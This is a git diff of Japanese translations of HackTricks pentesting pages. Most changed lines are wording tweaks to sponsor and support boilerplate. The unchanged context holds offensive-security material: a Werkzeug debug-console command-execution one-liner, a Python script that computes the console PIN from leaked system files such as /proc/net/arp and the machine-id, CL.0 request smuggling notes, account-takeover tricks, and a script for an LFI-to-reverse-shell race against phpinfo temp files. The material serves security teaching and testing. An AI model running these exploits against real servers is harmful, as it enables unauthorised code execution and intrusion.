GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>

View file

@ -8,8 +8,8 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
@ -17,7 +17,7 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -35,11 +35,11 @@ __import__('os').popen('whoami').read();
## ピン保護 - パス・トラバーサル ## ピン保護 - パス・トラバーサル
場合によっては、**`/console`** エンドポイントがピンで保護されることがあります。**ファイルトラバーサル脆弱性**がある場合、そのピンを生成するために必要なすべての情報を漏洩させることができます。 場合によっては、**`/console`** エンドポイントがピンで保護されることがあります。**ファイルトラバーサル脆弱性**がある場合、そのピンを生成するために必要なすべての情報を漏洩させることができます。
### Werkzeug コンソール PIN エクスプロイト ### Werkzeug コンソール PIN エクスプロイト
アプリでデバッグエラーページを強制的に表示させて、これを確認します アプリでデバッグエラーページを強制的に表示させて、これを確認します:
``` ```
The console is locked and needs to be unlocked by entering the PIN. The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your You can find the PIN printed out on the standard output of your
@ -47,7 +47,7 @@ shell that runs the server
``` ```
コンソールがロックされたシナリオに関するメッセージは、Werkzeugのデバッグインターフェースにアクセスしようとしたときに表示され、コンソールを解除するためにPINが必要であることを示しています。コンソールPINを悪用するために、Werkzeugのデバッグ初期化ファイル`__init__.py`におけるPIN生成アルゴリズムを分析することが提案されています。PIN生成メカニズムは、[**Werkzeugソースコードリポジトリ**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py)から調査できますが、バージョンの不一致の可能性があるため、実際のサーバーコードをファイルトラバーサル脆弱性を通じて取得することが推奨されます。 コンソールがロックされたシナリオに関するメッセージは、Werkzeugのデバッグインターフェースにアクセスしようとしたときに表示され、コンソールを解除するためにPINが必要であることを示しています。コンソールPINを悪用するために、Werkzeugのデバッグ初期化ファイル`__init__.py`におけるPIN生成アルゴリズムを分析することが提案されています。PIN生成メカニズムは、[**Werkzeugソースコードリポジトリ**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py)から調査できますが、バージョンの不一致の可能性があるため、実際のサーバーコードをファイルトラバーサル脆弱性を通じて取得することが推奨されます。
コンソールPINを悪用するには、`probably_public_bits`と`private_bits`の2セットの変数が必要です: コンソールPINを悪用するには、2つの変数セット、`probably_public_bits`と`private_bits`が必要です:
#### **`probably_public_bits`** #### **`probably_public_bits`**
@ -59,7 +59,7 @@ shell that runs the server
#### **`private_bits`** #### **`private_bits`**
* **`uuid.getnode()`**: 現在のマシンのMACアドレスを取得し、`str(uuid.getnode())`がそれを10進数形式に変換します。 * **`uuid.getnode()`**: 現在のマシンのMACアドレスを取得し、`str(uuid.getnode())`がそれを10進数形式に変換します。
* **サーバーのMACアドレスを特定するには**、アプリで使用されているアクティブなネットワークインターフェース(例:`ens3`)を特定する必要があります。不明な場合は、**`/proc/net/arp`をリークしてデバイスIDを見つけ、次に**`/sys/class/net/<device id>/address`から**MACアドレスを抽出します**。 * **サーバーのMACアドレスを特定するには**、アプリで使用されているアクティブなネットワークインターフェース(例:`ens3`)を特定する必要があります。確信が持てない場合は、**`/proc/net/arp`をリークしてデバイスIDを見つけ、次に**`/sys/class/net/<device id>/address`から**MACアドレスを抽出します**。
* 16進数のMACアドレスを10進数に変換する方法は以下の通りです * 16進数のMACアドレスを10進数に変換する方法は以下の通りです
```python ```python
@ -113,7 +113,7 @@ try:
必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。 必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。
必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。スクリプトは、組み立てられた`probably_public_bits`と`private_bits`を使用してハッシュを作成し、その後、最終的なPINを生成するためにさらに処理されます。以下は、このプロセスを実行するためのPythonコードです 必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。スクリプトは、組み立てられた`probably_public_bits`と`private_bits`を使用してハッシュを作成し、その後さらに処理を行って最終的なPINを生成します。以下は、このプロセスを実行するためのPythonコードです
```python ```python
import hashlib import hashlib
from itertools import chain from itertools import chain
@ -167,9 +167,9 @@ print(rv)
## Werkzeug Unicode文字 ## Werkzeug Unicode文字
[**この問題**](https://github.com/pallets/werkzeug/issues/2833)で観察されたように、WerkzeugはヘッダーにUnicode文字が含まれているリクエストを閉じません。そして、[**この解説**](https://mizu.re/post/twisty-python)で説明されているように、これによりCL.0リクエストスムーグリングの脆弱性が発生する可能性があります。 [**この問題**](https://github.com/pallets/werkzeug/issues/2833)で観察されたように、WerkzeugはヘッダーにUnicode文字を含むリクエストを閉じません。そして、[**この解説**](https://mizu.re/post/twisty-python)で説明されているように、これによりCL.0リクエストスムーングの脆弱性が発生する可能性があります。
これは、Werkzeugではいくつかの**Unicode**文字を送信することが可能であり、それがサーバーを**壊す**ことになるからです。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままになるため、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。 これは、Werkzeugではいくつかの**Unicode**文字を送信でき、サーバーが**壊れる**可能性があるためです。ただし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままになるため、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。
## 自動化された悪用 ## 自動化された悪用
@ -184,9 +184,9 @@ print(rv)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを評価する **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化された悪用を使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化された悪用を使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -1,25 +1,25 @@
# Other Web Tricks # Other Web Tricks
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>HackTricksをサポートする</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**重要な、悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -34,7 +34,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
### Session booleans ### Session booleans
時々、いくつかの検証を正しく完了すると、バックエンドは**セキュリティ属性に「True」という値のブール値を追加するだけです**。その後、別のエンドポイントは、あなたがそのチェックを成功裏に通過したかどうかを知ることができます。\ 時々、いくつかの検証を正しく完了すると、バックエンドは**セキュリティ属性に「True」という値のブール値を追加するだけです**。その後、別のエンドポイントは、あなたがそのチェックを成功裏に通過したかどうかを知ることができます。\
しかし、もしあなたが**チェックを通過し**、セッションがそのセキュリティ属性に「True」値を付与された場合、あなたは**同じ属性に依存する他のリソースにアクセスしようとすることができます**が、あなたは**アクセス権を持っていないはずです**。[WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a)。 しかし、もしあなたが**チェックを通過し**、セッションがそのセキュリティ属性に「True」値を付与された場合、あなたは**同じ属性に依存する他のリソースにアクセスしようとすることができますが、アクセス権がないはずです**。[WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a)。
### Register functionality ### Register functionality
@ -42,7 +42,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
### Takeover emails ### Takeover emails
メールを登録し、確認する前にメールを変更します。次に、新しい確認メールが最初に登録されたメールに送信される場合、任意のメールを乗っ取ることができます。また、2番目のメールが最初のメールを確認することを有効にできる場合、任意のアカウントを乗っ取ることもできます。 メールを登録し、確認する前にメールを変更します。次に、新しい確認メールが最初に登録たメールに送信される場合、任意のメールを乗っ取ることができます。また、最初のメールを確認するために2番目のメールを有効にできる場合も、任意のアカウントを乗っ取ることができます。
### Access Internal servicedesk of companies using atlassian ### Access Internal servicedesk of companies using atlassian
@ -50,30 +50,30 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
### TRACE method ### TRACE method
開発者は、プロダクション環境でさまざまなデバッグオプションを無効にするのを忘れることがあります。たとえば、HTTP `TRACE`メソッドは診断目的で設計されています。これが有効になっている場合、Webサーバーは`TRACE`メソッドを使用するリクエストに対して、受信した正確なリクエストを応答にエコーします。この動作は通常無害ですが、時折、リバースプロキシによってリクエストに追加される内部認証ヘッダーの名前など、情報漏洩につながることがあります。![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20) 開発者は、プロダクション環境でさまざまなデバッグオプションを無効にするのを忘れることがあります。たとえば、HTTP `TRACE`メソッドは診断目的で設計されています。これが有効になっている場合、ウェブサーバーは`TRACE`メソッドを使用するリクエストに対して、受信した正確なリクエストを応答にエコーします。この動作は通常無害ですが、時折、リバースプロキシによってリクエストに追加される内部認証ヘッダーの名前など、情報漏洩につながることがあります。![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png) ![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**重要な、悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>HackTricksをサポートする</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -10,14 +10,14 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -156,15 +156,15 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -48,7 +48,7 @@ You have to change also the **payload** at the beginning of the exploit (for a p
**phpinfo()** **phpinfo()**
**PHP**は**4096B**のバッファを使用し、バッファが**満杯**になると、**クライアントに送信**されます。その後、クライアントは**大きなリクエストをたくさん送信**(大きなヘッダーを使用)し、**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ち**一時ファイルの名前が含まれている場所、LFI脆弱性を悪用してphpサーバーがファイルを削除する前に**一時ファイルにアクセス**しようとします。 **PHP**は**4096B**のバッファを使用し、バッファが**満杯**になると、**クライアントに送信**されます。次に、クライアントは**大きなリクエストをたくさん送信**(大きなヘッダーを使用)し、**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ち**一時ファイルの名前が含まれている場所、LFI脆弱性を悪用してphpサーバーがファイルを削除する前に**一時ファイルにアクセス**しようとします。
**名前をブルートフォースするためのPythonスクリプト長さ=6の場合** **名前をブルートフォースするためのPythonスクリプト長さ=6の場合**
```python ```python
@ -74,15 +74,15 @@ print('[x] Something went wrong, please try again')
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -90,7 +90,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -10,22 +10,22 @@ GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
